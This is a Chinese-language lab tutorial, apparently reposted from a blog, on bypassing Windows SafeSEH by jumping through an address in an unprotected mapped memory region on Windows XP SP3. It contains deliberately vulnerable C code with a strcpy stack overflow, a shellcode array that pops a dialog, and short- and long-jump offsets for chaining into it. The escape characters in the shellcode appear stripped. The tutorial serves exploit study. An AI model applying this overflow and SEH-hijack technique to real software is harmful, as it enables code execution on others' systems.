内存保护机制及绕过方法——利用未启用SafeSEH模块绕过SafeSEH

利用加载模块之外的地址绕过safeSEH

前言:文章涉及的概念在之前的文章中都有过详细的讲解

⑴.  原理分析:

当程序加载进内存中后,处理PE文件(exe,dll),还有一些映射文件,safeSEH是不会对这些映射文件做安全检查。所以如果在这些映射文件中找到一些跳板地址(意义见之前的绕过利用/GS机制),就可以达到控制EIP的目的,执行恶意代码。

 

如上图,可以看到在PE文件之前有很多map(映射文件),safeSEH是不会对这些文件做安全检测的。

⑵.环境准备:

i.实验代码:

#include "stdafx.h"

#include <string.h>

#include <windows.h>

char shellcode[]=

"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"

"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"

"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"

"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"

"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"

"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"

"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"

"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"

"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"

"x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"

"x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"xE9x2BxFFxFFxFFx90x90x90"// machine code of far jump and x90

"xEBxF6x90x90"// machine code of short jump and x90

"x0Bx0Bx29x00"// address of call [ebp+30] in outside memory

;

 

DWORD MyException(void)

{

     printf("There is an exception");

     getchar();

     return 1;

}

void test(char * input)

{

     char str[200];

     strcpy(str,input);

    int zero=0;

     __try

     {

         zero=1/zero;

     }

     __except(MyException())

     {

     }

}

int _tmain(int argc, _TCHAR* argv[])

{

     //__asm int 3

     test(shellcode);

     return 0;

}

 

ii.测试环境:

测试平台:window xp with sp3(win7 上找不到可以利用的map文件)。

编译环境:

 

DEP,ASLR保护机制关闭。

⑶.调试分析:

i.程序执行到test函数,参数入栈,call test函数:

       

Shellcode地址0x0012ff78

Eip:0x0012ff74

ii.初始化test哈数,Ebp:0x0012ff70:

       

iii.异常处理函数指针入栈,

FS:[0]指针 = 0x0012ff60

 

异常处理函数指针 = 0x0012ff64

 

iv.缓冲区起始地址 = 0x0012fe88

 

⑷.攻击过程:

i.确定shellcode大小:

回顾,攻击思路,我们是希望将异常处理函数的指针覆盖成恶意代码(弹出对话框)的指针,那么,

Size(shellcode) =最近的异常处理函数指针–缓冲区起始地址 + 4 = 220(十进制)。

ii.生成恶意代码(弹出对话框):

这里偷个懒,就直接用网上的恶意代码了,长度是168字节,效果是糖醋对话框。

iii.跳板地址

问题:我们以前的跳板都是从栈低地址向栈高地址条的,而这一次,我们的恶意代码的起始地址是小于异常处理函数的,那么之前一直用的PPR跳板就不能用了,这要怎么办?

这就要考虑到SEH处理机制了,到异常处理函数不能处理异常时,会怎么办?异常会局部展开,调用SEH链的指针,寻找下一个异常处理节点,处理异常。

好,我们这里寻找可以实现这个目标的指令地址。

使用OllyFindaddr插件,寻找call [ebp+n]指令,得到下图:

 

    红色的一行显示,该指令不在已加载的模块中,

    指令地址 = 0x00290b0b

   

iv.使EIP指向恶意代码执行指针

控制EIP之后,我们要让EIP跳到恶意代码执行处,四字节的长度不能实现一个长条,只能先用一个短跳跳到长跳地址,在由长跳跳跳到恶意代码执行处。

短跳机器码:EB 一字节的距离 x90x90

长跳机器码:E9 四字节的距离 x90x90x90

v.跳转距离计算

跳转距离 =目的地址–跳转指令起始地址– 跳转指令长度(单位:字节)

短跳距离 = 0x0012ff5c – 0x0012ff60 – 2 = F6(起始地址 – 目的地址是负数要取补码)。

长跳距离 = 0x0012fe88 – 0x0012ff5c – 5 = FFFFFF2b

短跳指令:xEBxf6x90x90

长跳指令:xe9x2bxffxffxffx90x90x90

vi.设计shellcode结构

恶意代码(弹对话框)

168字节

填充物

40字节

长跳指令

8字节

短跳指令

4字节

跳板指令

4字节

栈低地址                                                              栈高地址

 

vi.执行攻击

 

成功。

原文地址:https://www.cnblogs.com/zhang293/p/9005392.html